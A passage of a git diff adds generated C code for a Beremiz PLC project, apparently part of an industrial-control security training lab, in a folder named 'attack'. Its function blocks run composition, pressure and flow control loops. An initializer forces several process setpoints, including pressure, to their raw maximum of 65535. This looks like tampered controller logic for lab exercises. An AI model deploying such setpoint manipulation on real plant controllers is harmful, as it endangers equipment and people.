+ + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + 